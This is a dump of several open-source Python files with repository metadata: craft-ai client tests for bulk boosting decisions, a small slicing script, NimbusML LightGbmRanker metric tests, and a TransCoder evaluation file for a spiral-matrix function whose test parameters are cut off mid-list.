'LOWER', 0.01)[0], True) # Test zero std. deviation for slice. with self.assertRaises(AssertionError): auto_slicing_util._is_significant_slice(0.8, 0, 100, 0.9, 0, 1000, 'LOWER', 0.01) if __name__ == '__main__': tf.test.main()
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0.49144
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0.086389
0.853715
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0.809944
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0.412077
22,605
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0.708503
0.03017
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f226eadd1abde64f65b4924f528ba0bf0c56dbea
5,960
py
Python
tests/test_get_bulk_agent_boosting_decision.py
craft-ai/craft-ai-client-python
3d8b3d9a49c0c70964deaeb9645130dd54f9a0b3
[ "BSD-3-Clause" ]
14
2016-08-26T07:06:57.000Z
2020-09-22T07:41:21.000Z
tests/test_get_bulk_agent_boosting_decision.py
craft-ai/craft-ai-client-python
3d8b3d9a49c0c70964deaeb9645130dd54f9a0b3
[ "BSD-3-Clause" ]
94
2016-08-02T14:07:59.000Z
2021-10-06T11:50:52.000Z
tests/test_get_bulk_agent_boosting_decision.py
craft-ai/craft-ai-client-python
3d8b3d9a49c0c70964deaeb9645130dd54f9a0b3
[ "BSD-3-Clause" ]
8
2017-02-07T12:05:57.000Z
2021-10-14T09:45:30.000Z
import unittest from craft_ai import Client, errors as craft_err from . import settings from .utils import generate_entity_id from .data import valid_data class TestGetAgentBulkBoostingDecisionSuccess(unittest.TestCase): """Checks that the client works properly when getting a boosting decision with two valid agents""" @classmethod def setUpClass(cls): cls.client = Client(settings.CRAFT_CFG) cls.agent_id_1 = generate_entity_id("test_get_agent_bulk_boosting_decision") cls.agent_id_2 = generate_entity_id("test_get_agent_bulk_boosting_decision") def setUp(self): self.client.delete_agent(self.agent_id_1) self.client.create_agent( valid_data.VALID_BOOSTING_CONFIGURATION, self.agent_id_1 ) self.client.add_agent_operations( self.agent_id_1, valid_data.VALID_OPERATIONS_SET_COMPLETE_1 ) self.client.delete_agent(self.agent_id_2) self.client.create_agent( valid_data.VALID_BOOSTING_CONFIGURATION, self.agent_id_2 ) self.client.add_agent_operations( self.agent_id_2, valid_data.VALID_OPERATIONS_SET_COMPLETE_1 ) def tearDown(self): self.client.delete_agent(self.agent_id_1) self.client.delete_agent(self.agent_id_2) def test_get_bulk_decision_boosting_with_correct_input(self): first_timestamp = valid_data.VALID_OPERATIONS_SET_COMPLETE_1[0]["timestamp"] last_timestamp = valid_data.VALID_OPERATIONS_SET_COMPLETE_1[-1]["timestamp"] timeWindow = [first_timestamp, last_timestamp] context = {"tz": "+02:00", "presence": "occupant", "lightIntensity": 1} payload = [ { "entityName": self.agent_id_1, "timeWindow": timeWindow, "context": context, }, { "entityName": self.agent_id_2, "timeWindow": timeWindow, "context": context, }, ] decisions = self.client.get_agent_bulk_boosting_decision(payload) self.assertEqual(decisions[0]["_version"], "1.0.0") self.assertEqual(decisions[0]["entityName"], self.agent_id_1) self.assertEqual(decisions[0]["context"], context) self.assertEqual(decisions[0]["timeWindow"], timeWindow) self.assertEqual(decisions[0]["output"]["predicted_value"], "pink") self.assertEqual(decisions[1]["_version"], "1.0.0") self.assertEqual(decisions[1]["entityName"], self.agent_id_2) self.assertEqual(decisions[1]["context"], context) self.assertEqual(decisions[1]["timeWindow"], timeWindow) self.assertEqual(decisions[1]["output"]["predicted_value"], "pink") class TestGetAgentBoostingDecisionFailure(unittest.TestCase): """Checks that the client fails properly when getting bulk boosting decisions with invalid parameters for agents""" @classmethod def setUpClass(cls): cls.client = Client(settings.CRAFT_CFG) cls.agent_id_1 = generate_entity_id("test_get_agent_bulk_boosting_decision") cls.agent_id_2 = generate_entity_id("test_get_agent_bulk_boosting_decision") def setUp(self): self.client.delete_agent(self.agent_id_1) self.client.create_agent( valid_data.VALID_BOOSTING_CONFIGURATION, self.agent_id_1 ) self.client.add_agent_operations( self.agent_id_1, valid_data.VALID_OPERATIONS_SET_COMPLETE_1 ) self.client.delete_agent(self.agent_id_2) self.client.create_agent( valid_data.VALID_BOOSTING_CONFIGURATION, self.agent_id_2 ) self.client.add_agent_operations( self.agent_id_2, valid_data.VALID_OPERATIONS_SET_COMPLETE_1 ) def tearDown(self): self.client.delete_agent(self.agent_id_1) self.client.delete_agent(self.agent_id_2) def test_get_bulk_decision_boosting_with_non_existant_agent_id(self): """get_agent_bulk_boosting_decision should handle valid and non existant agents""" first_timestamp = valid_data.VALID_OPERATIONS_SET_COMPLETE_1[0]["timestamp"] last_timestamp = valid_data.VALID_OPERATIONS_SET_COMPLETE_1[-1]["timestamp"] timeWindow = [first_timestamp, last_timestamp] context = {"tz": "+02:00", "presence": "occupant", "lightIntensity": 1} payload = [ { "entityName": self.agent_id_1, "timeWindow": timeWindow, "context": context, }, { "entityName": self.agent_id_2, "timeWindow": timeWindow, "context": context, }, {"entityName": "test_test", "timeWindow": timeWindow, "context": context}, ] decisions = self.client.get_agent_bulk_boosting_decision(payload) self.assertEqual(decisions[0]["_version"], "1.0.0") self.assertEqual(decisions[0]["entityName"], self.agent_id_1) self.assertEqual(decisions[0]["context"], context) self.assertEqual(decisions[0]["timeWindow"], timeWindow) self.assertEqual(decisions[0]["output"]["predicted_value"], "pink") self.assertEqual(decisions[1]["_version"], "1.0.0") self.assertEqual(decisions[1]["entityName"], self.agent_id_2) self.assertEqual(decisions[1]["context"], context) self.assertEqual(decisions[1]["timeWindow"], timeWindow) self.assertEqual(decisions[1]["output"]["predicted_value"], "pink") self.assertIsInstance(decisions[2]["error"], craft_err.CraftAiNotFoundError) def test_get_bulk_decision_boosting_with_empty_array(self): """get_agent_bulk_boosting_decision fail properly when emty array given""" self.assertRaises( craft_err.CraftAiBadRequestError, self.client.get_agent_bulk_boosting_decision, [], )
41.388889
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0.665436
684
5,960
5.469298
0.140351
0.054264
0.070569
0.038492
0.851644
0.847902
0.812082
0.792836
0.792836
0.792836
0
0.018024
0.227349
5,960
143
87
41.678322
0.794354
0.058389
0
0.700855
1
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0.12
0.026547
0
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0.188034
1
0.076923
false
0
0.042735
0
0.136752
0
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null
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0
0
0
0
0
0
0
0
0
8
481bcfc72445402b606a6f269aee4b4e6ee49573
85
py
Python
tests/python/slice.py
jacereda/py2nim
56fc2699d31241c60bed726f59efea4bf46be238
[ "MIT" ]
10
2020-03-10T12:01:01.000Z
2021-05-23T19:47:06.000Z
tests/python/slice.py
jacereda/py2nim
56fc2699d31241c60bed726f59efea4bf46be238
[ "MIT" ]
null
null
null
tests/python/slice.py
jacereda/py2nim
56fc2699d31241c60bed726f59efea4bf46be238
[ "MIT" ]
1
2020-07-17T11:20:56.000Z
2020-07-17T11:20:56.000Z
def t(a): return a[2:] a = t([1, 2, 3, 4]) print(a) print(a[1:-1]) print(a[:2])
10.625
19
0.470588
21
85
1.904762
0.428571
0.45
0
0
0
0
0
0
0
0
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0.119403
0.211765
85
7
20
12.142857
0.477612
0
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0
0
0
0
0
0
0
0
0
0
1
0.166667
false
0
0
0.166667
0.333333
0.5
1
0
1
null
1
0
0
0
0
0
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0
0
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0
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0
0
0
0
0
0
0
null
0
0
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0
0
0
0
0
1
0
1
0
7
483522d447d3a04abf9d078a1ce271a3092cf5f6
7,792
py
Python
src/python/nimbusml/tests/ensemble/test_lightgbmranker.py
michaelgsharp/NimbusML
50031157265f49eec85d27fe67582d9ddaf01ef9
[ "MIT" ]
134
2018-11-01T22:15:24.000Z
2019-05-04T11:30:08.000Z
src/python/nimbusml/tests/ensemble/test_lightgbmranker.py
michaelgsharp/NimbusML
50031157265f49eec85d27fe67582d9ddaf01ef9
[ "MIT" ]
226
2019-05-07T19:00:44.000Z
2021-01-06T07:59:48.000Z
src/python/nimbusml/tests/ensemble/test_lightgbmranker.py
michaelgsharp/NimbusML
50031157265f49eec85d27fe67582d9ddaf01ef9
[ "MIT" ]
43
2019-05-15T20:19:42.000Z
2022-03-30T10:26:07.000Z
# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. # -------------------------------------------------------------------------------------------- import platform import unittest import numpy as np import pandas as pd from nimbusml import FileDataStream from nimbusml import Pipeline, Role from nimbusml.datasets import get_dataset from nimbusml.ensemble import LightGbmRanker from nimbusml.preprocessing import ToKey from sklearn.utils.testing import assert_almost_equal class TestLightGbmRanker(unittest.TestCase): def test_lightgbmranker_asfilestream(self): # Data file file_path = get_dataset("gen_tickettrain").as_filepath() # Pure-nimbusml paradigm train_stream = FileDataStream.read_csv(file_path, encoding='utf-8') # pipeline pipeline = Pipeline([ # the group_id column must be of key type ToKey(columns={'rank': 'rank', 'group': 'group'}), LightGbmRanker( feature=[ 'Class', 'dep_day', 'duration'], label='rank', group_id='group') ]) # train pipeline.fit(train_stream) # test eval_stream = FileDataStream.read_csv(file_path) metrics, _ = pipeline.test(eval_stream) assert_almost_equal( metrics['NDCG@1'][0], 0.43571429, decimal=7, err_msg="NDCG@1 should be %s" % 0.43571429) assert_almost_equal( metrics['NDCG@2'][0], 0.5128226, decimal=7, err_msg="NDCG@2 should be %s" % 0.5128226) assert_almost_equal( metrics['NDCG@3'][0], 0.55168069, decimal=7, err_msg="NDCG@3 should be %s" % 0.55168069) assert_almost_equal( metrics['DCG@1'][0], 4.688759, decimal=3, err_msg="DCG@1 should be %s" % 4.688759) assert_almost_equal( metrics['DCG@2'][0], 9.012395, decimal=3, err_msg="DCG@2 should be %s" % 9.012395) assert_almost_equal( metrics['DCG@3'][0], 11.446943, decimal=3, err_msg="DCG@3 should be %s" % 11.446943) def test_lightgbmranker_asdataframe(self): # Data file file_path = get_dataset("gen_tickettrain").as_filepath() df = pd.read_csv(file_path, encoding='utf-8') df['group'] = df['group'].astype(np.uint32) e = Pipeline([ToKey(columns={'rank': 'rank', 'group': 'group'}), LightGbmRanker() << { Role.Feature: ['Class', 'dep_day', 'duration'], Role.Label: 'rank', Role.GroupId: 'group'}]) e.fit(df) metrics, _ = e.test(df) assert_almost_equal( metrics['NDCG@1'][0], 0.43571429, decimal=7, err_msg="NDCG@1 should be %s" % 0.43571429) assert_almost_equal( metrics['NDCG@2'][0], 0.5128226, decimal=7, err_msg="NDCG@2 should be %s" % 0.5128226) assert_almost_equal( metrics['NDCG@3'][0], 0.55168069, decimal=7, err_msg="NDCG@3 should be %s" % 0.55168069) assert_almost_equal( metrics['DCG@1'][0], 4.688759, decimal=3, err_msg="DCG@1 should be %s" % 4.688759) assert_almost_equal( metrics['DCG@2'][0], 9.012395, decimal=3, err_msg="DCG@2 should be %s" % 9.012395) assert_almost_equal( metrics['DCG@3'][0], 11.446943, decimal=3, err_msg="DCG@3 should be %s" % 11.446943) def test_lightgbmranker_asdataframe_groupid(self): # Data file file_path = get_dataset("gen_tickettrain").as_filepath() df = pd.read_csv(file_path, encoding='utf-8') df['group'] = df['group'].astype(np.uint32) e = Pipeline( [ToKey(columns={'rank': 'rank', 'group': 'group'}), LightGbmRanker( feature=['Class', 'dep_day', 'duration'], label='rank', group_id='group')]) e.fit(df) metrics, _ = e.test(df) assert_almost_equal( metrics['NDCG@1'][0], 0.43571429, decimal=7, err_msg="NDCG@1 should be %s" % 0.43571429) assert_almost_equal( metrics['NDCG@2'][0], 0.5128226, decimal=7, err_msg="NDCG@2 should be %s" % 0.5128226) assert_almost_equal( metrics['NDCG@3'][0], 0.55168069, decimal=7, err_msg="NDCG@3 should be %s" % 0.55168069) assert_almost_equal( metrics['DCG@1'][0], 4.688759, decimal=3, err_msg="DCG@1 should be %s" % 4.688759) assert_almost_equal( metrics['DCG@2'][0], 9.012395, decimal=3, err_msg="DCG@2 should be %s" % 9.012395) assert_almost_equal( metrics['DCG@3'][0], 11.446943, decimal=3, err_msg="DCG@3 should be %s" % 11.446943) def test_lightgbmranker_asfilestream_evaltyperanking(self): # Data file file_path = get_dataset("gen_tickettrain").as_filepath() # Pure-nimbusml paradigm train_stream = FileDataStream.read_csv(file_path, encoding='utf-8') # pipeline pipeline = Pipeline([ # the group_id column must be of key type ToKey(columns={'rank': 'rank', 'group': 'group'}), LightGbmRanker( feature=[ 'Class', 'dep_day', 'duration'], label='rank', group_id='group') ]) # train pipeline.fit(train_stream) # test eval_stream = FileDataStream.read_csv(file_path) metrics, _ = pipeline.test(eval_stream) assert_almost_equal( metrics['NDCG@1'][0], 0.43571429, decimal=7, err_msg="NDCG@1 should be %s" % 0.43571429) assert_almost_equal( metrics['NDCG@2'][0], 0.5128226, decimal=7, err_msg="NDCG@2 should be %s" % 0.5128226) assert_almost_equal( metrics['NDCG@3'][0], 0.55168069, decimal=7, err_msg="NDCG@3 should be %s" % 0.55168069) assert_almost_equal( metrics['DCG@1'][0], 4.688759, decimal=3, err_msg="DCG@1 should be %s" % 4.688759) assert_almost_equal( metrics['DCG@2'][0], 9.012395, decimal=3, err_msg="DCG@2 should be %s" % 9.012395) assert_almost_equal( metrics['DCG@3'][0], 11.446943, decimal=3, err_msg="DCG@3 should be %s" % 11.446943) if __name__ == '__main__': unittest.main()
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483b51adc7073fbc1ad6765cfd3c7bc4e152cb33
40,003
py
Python
data/transcoder_evaluation_gfg/python/PRINT_MATRIX_SPIRAL_FORM_STARTING_POINT.py
mxl1n/CodeGen
e5101dd5c5e9c3720c70c80f78b18f13e118335a
[ "MIT" ]
241
2021-07-20T08:35:20.000Z
2022-03-31T02:39:08.000Z
data/transcoder_evaluation_gfg/python/PRINT_MATRIX_SPIRAL_FORM_STARTING_POINT.py
mxl1n/CodeGen
e5101dd5c5e9c3720c70c80f78b18f13e118335a
[ "MIT" ]
49
2021-07-22T23:18:42.000Z
2022-03-24T09:15:26.000Z
data/transcoder_evaluation_gfg/python/PRINT_MATRIX_SPIRAL_FORM_STARTING_POINT.py
mxl1n/CodeGen
e5101dd5c5e9c3720c70c80f78b18f13e118335a
[ "MIT" ]
71
2021-07-21T05:17:52.000Z
2022-03-29T23:49:28.000Z
# Copyright (c) 2019-present, Facebook, Inc. # All rights reserved. # # This source code is licensed under the license found in the # LICENSE file in the root directory of this source tree. # def f_gold ( mat , r , c ) : a = 0 b = 2 low_row = 0 if ( 0 > a ) else a low_column = 0 if ( 0 > b ) else b - 1 high_row = r - 1 if ( ( a + 1 ) >= r ) else a + 1 high_column = c - 1 if ( ( b + 1 ) >= c ) else b + 1 while ( ( low_row > 0 - r and low_column > 0 - c ) ) : i = low_column + 1 while ( i <= high_column and i < c and low_row >= 0 ) : print ( mat [ low_row ] [ i ] , end = " " ) i += 1 low_row -= 1 i = low_row + 2 while ( i <= high_row and i < r and high_column < c ) : print ( mat [ i ] [ high_column ] , end = " " ) i += 1 high_column += 1 i = high_column - 2 while ( i >= low_column and i >= 0 and high_row < r ) : print ( mat [ high_row ] [ i ] , end = " " ) i -= 1 high_row += 1 i = high_row - 2 while ( i > low_row and i >= 0 and low_column >= 0 ) : print ( mat [ i ] [ low_column ] , end = " " ) i -= 1 low_column -= 1 print ( ) #TOFILL if __name__ == '__main__': param = [ ([[5, 6, 7, 8, 15, 29, 34, 47, 48, 54, 64, 64, 70, 88, 98], [4, 4, 34, 41, 43, 48, 48, 56, 64, 77, 79, 82, 85, 87, 88], [7, 8, 40, 47, 47, 48, 52, 52, 70, 73, 80, 91, 91, 92, 96], [2, 6, 9, 15, 17, 24, 27, 40, 43, 43, 45, 45, 78, 87, 97], [14, 18, 21, 21, 24, 24, 27, 34, 36, 52, 62, 62, 77, 78, 90], [7, 14, 36, 36, 52, 59, 59, 73, 74, 76, 77, 83, 84, 87, 95], [4, 24, 32, 32, 41, 46, 64, 71, 76, 78, 83, 85, 91, 97, 99], [1, 4, 4, 19, 24, 25, 27, 38, 43, 46, 52, 71, 75, 83, 94], [6, 12, 27, 28, 29, 33, 39, 44, 56, 59, 63, 72, 75, 80, 80], [2, 14, 24, 40, 45, 60, 65, 67, 70, 75, 76, 76, 81, 82, 92], [5, 19, 31, 42, 51, 53, 59, 59, 59, 63, 71, 75, 80, 83, 85], [4, 5, 8, 17, 25, 29, 30, 32, 33, 34, 38, 41, 74, 76, 94], [4, 12, 15, 16, 20, 22, 33, 35, 36, 43, 44, 55, 68, 70, 95], [21, 24, 35, 45, 50, 50, 51, 52, 52, 65, 69, 74, 75, 88, 93], [5, 18, 35, 38, 44, 57, 58, 62, 64, 66, 66, 88, 91, 93, 96]],14,10,), ([[80, -28, -94, 34, -14, 60, -14], [80, 40, -90, -94, 32, -92, 90], [-90, 82, -2, 62, -26, 62, 94], [-72, -86, -6, -48, -92, -2, -48], [86, -18, 14, -42, 44, -18, -26], [46, 22, 70, -38, -28, 6, 52], [-76, -92, 54, 2, -56, -80, -72]],4,3,), ([[0, 0, 0, 1, 1, 1, 1], [0, 0, 0, 0, 0, 1, 1], [0, 0, 0, 0, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 1, 1, 1, 1], [0, 0, 0, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 1]],4,5,), ([[21, 59, 77, 73, 2, 3], [59, 34, 78, 77, 81, 1], [21, 54, 27, 35, 51, 20], [24, 39, 53, 43, 66, 47], [66, 29, 44, 87, 11, 49], [28, 37, 18, 84, 62, 1]],5,5,), ([[-94, -94, -86, -84, -62, -62, -52, -52, -48, -44, -42, -38, -30, -22, -18, -16, -2, 2, 2, 6, 14, 16, 26, 32, 32, 40, 40, 42, 48, 48, 72, 72, 82, 84, 86, 96], [-98, -94, -90, -90, -84, -54, -50, -42, -42, -36, -32, -32, -28, -28, -22, -20, -20, -10, -8, -8, -4, 0, 6, 12, 16, 30, 34, 48, 52, 56, 60, 66, 82, 86, 94, 94], [-96, -84, -74, -74, -72, -66, -62, -60, -48, -36, -16, -8, -4, -2, 0, 14, 14, 20, 24, 24, 26, 28, 28, 28, 32, 38, 44, 46, 62, 64, 66, 68, 76, 88, 88, 90], [-98, -92, -90, -84, -78, -74, -70, -60, -46, -32, -22, -18, -6, -4, -2, 14, 16, 16, 30, 36, 38, 40, 48, 56, 70, 74, 80, 82, 86, 90, 90, 92, 96, 98, 98, 98], [-98, -94, -94, -88, -74, -74, -74, -54, -48, -42, -42, -38, -34, -34, -32, -26, -18, -14, 6, 8, 10, 12, 12, 20, 24, 36, 38, 40, 48, 50, 64, 68, 72, 80, 86, 88], [-98, -90, -86, -82, -76, -76, -56, -54, -50, -48, -42, -40, -38, -28, -14, 2, 6, 16, 18, 22, 24, 40, 40, 48, 52, 54, 56, 58, 62, 68, 70, 76, 76, 82, 84, 96], [-98, -92, -90, -86, -84, -78, -76, -68, -68, -60, -58, -56, -48, -46, -42, -40, -30, -14, -8, -6, -2, 2, 8, 12, 30, 38, 44, 46, 48, 66, 76, 80, 82, 84, 88, 94], [-98, -90, -72, -70, -68, -50, -46, -46, -42, -34, -26, -18, -14, -4, 10, 14, 16, 26, 36, 38, 50, 50, 52, 54, 56, 66, 68, 68, 72, 74, 80, 82, 88, 92, 94, 98], [-84, -82, -82, -80, -78, -76, -70, -68, -54, -50, -38, -24, -18, -12, -4, 0, 0, 12, 16, 20, 28, 36, 38, 42, 44, 46, 48, 54, 60, 60, 60, 70, 72, 82, 88, 94], [-96, -88, -88, -80, -78, -64, -60, -58, -56, -56, -50, -40, -38, -22, -20, -10, -10, -2, 2, 6, 6, 16, 22, 32, 34, 36, 46, 48, 60, 62, 62, 64, 80, 86, 90, 98], [-98, -92, -90, -86, -80, -68, -66, -64, -64, -62, -56, -54, -52, -50, -50, -48, -48, -32, -32, -26, -24, -22, -22, -10, 8, 10, 24, 28, 42, 46, 54, 74, 84, 88, 90, 92], [-96, -92, -88, -84, -60, -60, -60, -60, -58, -56, -56, -50, -38, -30, -28, -22, -12, -4, 0, 2, 4, 6, 8, 16, 20, 20, 22, 22, 26, 32, 42, 56, 60, 62, 80, 88], [-96, -94, -90, -86, -78, -64, -60, -52, -44, -42, -40, -32, -28, -26, -16, -16, -6, -4, 16, 20, 24, 30, 34, 40, 40, 44, 54, 60, 60, 62, 66, 74, 74, 78, 88, 90], [-98, -86, -86, -80, -70, -66, -60, -56, -50, -36, -24, -20, 8, 8, 12, 12, 12, 12, 18, 22, 22, 30, 42, 48, 54, 62, 62, 62, 70, 70, 74, 74, 84, 86, 90, 96], [-98, -90, -88, -80, -70, -64, -56, -54, -48, -46, -46, -42, -42, -40, -30, -28, -20, -20, -20, -18, -12, -2, 0, 2, 4, 8, 10, 18, 44, 54, 54, 62, 62, 66, 86, 94], [-90, -90, -90, -88, -84, -76, -76, -70, -66, -56, -42, -40, -36, -30, -20, -16, -14, -10, -8, -6, 0, 6, 16, 28, 28, 36, 38, 42, 60, 62, 62, 66, 70, 78, 80, 94], [-98, -92, -90, -88, -86, -80, -78, -66, -58, -56, -54, -50, -42, -38, -34, -28, -22, -12, -12, -10, -6, -2, 4, 8, 14, 14, 26, 26, 28, 34, 48, 56, 62, 76, 88, 90], [-98, -98, -88, -88, -88, -86, -84, -80, -76, -70, -70, -68, -38, -14, -12, -4, 2, 4, 4, 6, 16, 22, 26, 30, 32, 50, 50, 52, 52, 62, 72, 86, 86, 92, 94, 98], [-96, -90, -90, -76, -70, -60, -50, -46, -28, -18, -10, -6, -4, -2, 0, 6, 8, 12, 16, 16, 26, 28, 28, 30, 30, 34, 46, 58, 58, 62, 78, 82, 88, 90, 98, 98], [-92, -86, -86, -82, -60, -52, -50, -50, -48, -48, -42, -34, -22, -16, -10, 12, 14, 18, 22, 26, 30, 38, 40, 40, 42, 54, 58, 58, 64, 70, 70, 72, 74, 80, 80, 92], [-96, -92, -92, -92, -84, -72, -52, -50, -48, -46, -38, -24, -8, -8, -2, 2, 4, 12, 18, 34, 36, 38, 40, 44, 48, 58, 62, 66, 72, 76, 84, 84, 88, 92, 94, 96], [-96, -90, -86, -86, -74, -70, -68, -68, -64, -50, -50, -44, -44, -34, -22, -16, -14, -10, -8, -8, -6, -2, 10, 12, 16, 22, 24, 28, 44, 54, 54, 60, 66, 68, 68, 88], [-98, -88, -86, -84, -82, -80, -78, -76, -70, -68, -38, -36, -30, -26, -22, -22, -20, -16, -4, 6, 18, 20, 34, 44, 44, 50, 60, 74, 80, 80, 82, 86, 88, 90, 92, 94], [-94, -90, -88, -84, -82, -68, -54, -50, -46, -46, -38, -36, -34, -24, -14, -4, -2, 14, 22, 26, 26, 32, 34, 36, 44, 48, 64, 72, 72, 74, 74, 76, 82, 82, 84, 88], [-94, -86, -82, -74, -74, -74, -70, -60, -56, -54, -46, -36, -32, -32, -32, -28, -24, -20, -14, -14, -10, 10, 16, 38, 40, 42, 44, 58, 66, 66, 68, 68, 76, 82, 90, 98], [-98, -98, -90, -86, -82, -80, -80, -72, -68, -64, -64, -54, -40, -32, -26, -26, -22, -20, -18, -12, -8, -6, 0, 2, 12, 14, 38, 42, 64, 64, 70, 74, 92, 94, 94, 98], [-88, -78, -60, -56, -50, -40, -40, -28, -16, -14, -10, -4, 0, 8, 8, 12, 14, 16, 18, 20, 20, 20, 22, 40, 46, 46, 48, 48, 50, 50, 66, 68, 78, 80, 80, 88], [-98, -98, -92, -90, -80, -78, -70, -64, -54, -40, -32, -30, -26, -18, -8, -6, -4, 4, 10, 20, 22, 30, 36, 46, 46, 56, 60, 60, 66, 70, 72, 76, 80, 82, 88, 94], [-96, -90, -82, -78, -76, -64, -60, -58, -58, -50, -48, -48, -46, -32, -18, -12, -12, -6, 0, 8, 16, 24, 30, 34, 34, 48, 52, 56, 60, 64, 68, 70, 74, 82, 88, 96], [-88, -86, -82, -82, -74, -64, -62, -60, -56, -50, -42, -36, -28, -26, -26, -24, -18, 10, 16, 24, 26, 26, 28, 34, 42, 50, 52, 54, 56, 66, 74, 80, 82, 90, 90, 92], [-98, -88, -86, -84, -72, -72, -62, -58, -56, -52, -50, -50, -40, -40, -36, -34, -24, -20, -10, 16, 20, 22, 30, 34, 34, 36, 50, 50, 58, 64, 66, 66, 80, 82, 88, 98], [-98, -98, -90, -84, -82, -80, -78, -76, -66, -62, -48, -48, -48, -42, -32, -16, -14, -6, 14, 14, 18, 20, 22, 30, 32, 34, 36, 46, 48, 52, 56, 58, 66, 80, 84, 94], [-98, -82, -82, -76, -76, -72, -70, -66, -62, -62, -54, -46, -40, -30, -10, -6, -2, -2, 8, 34, 42, 48, 50, 50, 66, 70, 76, 80, 88, 90, 94, 94, 94, 96, 96, 98], [-98, -90, -86, -84, -82, -78, -78, -72, -70, -64, -46, -44, -42, -38, -38, -22, -20, -12, -4, 8, 10, 28, 28, 32, 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0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1], [0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1], [0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0], [1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1], [1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1], [1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1], [0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1], [0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1], [1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1], [1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1], [0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0], [0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1], [1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1], [0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1], [0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1]],34,39,), ([[4, 11, 15, 17, 27, 28, 30, 33, 38, 41, 41, 46, 50, 51, 53, 56, 58, 67, 77, 80, 95, 97, 98], [4, 7, 10, 11, 14, 22, 25, 27, 28, 29, 31, 31, 32, 62, 62, 64, 68, 69, 73, 74, 79, 90, 94], [1, 5, 7, 7, 25, 26, 30, 32, 49, 50, 52, 57, 65, 69, 78, 82, 84, 85, 87, 88, 94, 98, 99], [26, 32, 40, 43, 43, 50, 51, 51, 55, 57, 61, 61, 62, 67, 73, 76, 76, 78, 78, 79, 84, 90, 97], [9, 16, 21, 29, 30, 42, 46, 50, 53, 54, 55, 56, 59, 67, 67, 69, 69, 75, 79, 80, 89, 90, 92], [5, 5, 10, 13, 18, 26, 29, 31, 40, 44, 50, 51, 52, 54, 55, 66, 75, 78, 80, 88, 90, 92, 99], [4, 5, 7, 9, 11, 18, 19, 20, 45, 49, 51, 60, 63, 66, 77, 78, 78, 85, 87, 88, 91, 93, 96], [11, 15, 22, 30, 31, 33, 36, 38, 38, 39, 41, 53, 57, 57, 